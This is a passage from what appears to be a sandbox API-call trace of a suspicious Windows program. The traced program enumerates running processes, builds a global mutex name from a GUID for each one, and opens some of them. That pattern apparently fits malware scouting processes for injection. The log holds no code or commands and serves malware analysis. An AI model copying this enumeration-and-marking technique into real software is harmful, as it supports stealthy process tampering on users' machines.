cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0110.988] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13d8 [0110.988] GetLastError () returned 0xb7 [0110.988] CloseHandle (hObject=0x13d8) returned 1 [0110.988] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.989] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0110.989] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13d8 [0110.989] GetLastError () returned 0xb7 [0110.989] CloseHandle (hObject=0x13d8) returned 1 [0110.989] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.990] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.991] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0110.991] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13d8 [0110.991] GetLastError () returned 0x0 [0110.991] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0110.991] CloseHandle (hObject=0x13d8) returned 1 [0110.991] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.992] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0110.992] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13d8 [0110.992] GetLastError () returned 0x0 [0110.992] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0110.992] CloseHandle (hObject=0x13d8) returned 1 [0110.992] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0110.993] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0110.993] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13d8 [0110.993] GetLastError () returned 0xb7 [0110.993] CloseHandle (hObject=0x13d8) returned 1 [0110.993] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.994] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0110.994] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13d8 [0110.994] GetLastError () returned 0x0 [0110.994] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0110.994] CloseHandle (hObject=0x13d8) returned 1 [0110.994] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0110.995] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0110.996] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0110.997] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0110.998] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0110.998] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0110.999] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0111.000] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0111.001] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0111.096] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0111.097] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0111.098] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0111.099] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0111.100] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0111.101] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0111.101] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0111.102] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0111.103] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0111.104] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0111.105] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0111.106] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0111.106] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0111.107] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.108] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0111.109] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.110] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.111] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.111] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0111.112] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0111.113] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.114] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.115] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0111.116] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0111.116] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0xef8 [0111.116] GetLastError () returned 0xb7 [0111.116] CloseHandle (hObject=0xef8) returned 1 [0111.116] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 0 [0111.116] CloseHandle (hObject=0x13e0) returned 1 [0111.116] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0111.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0111.285] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.286] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.287] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.288] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.289] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.289] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.290] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.291] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.292] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.293] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0111.293] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.294] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.295] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.296] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.297] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.297] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.298] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.299] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.300] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.301] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.302] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.302] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0111.302] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0111.302] GetLastError () returned 0xb7 [0111.302] CloseHandle (hObject=0x13e0) returned 1 [0111.303] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.303] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0111.303] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0111.303] GetLastError () returned 0xb7 [0111.303] CloseHandle (hObject=0x13e0) returned 1 [0111.303] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.304] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0111.305] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0111.305] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0111.305] GetLastError () returned 0x0 [0111.305] OpenProcess (dwDesiredAccess=0x400, 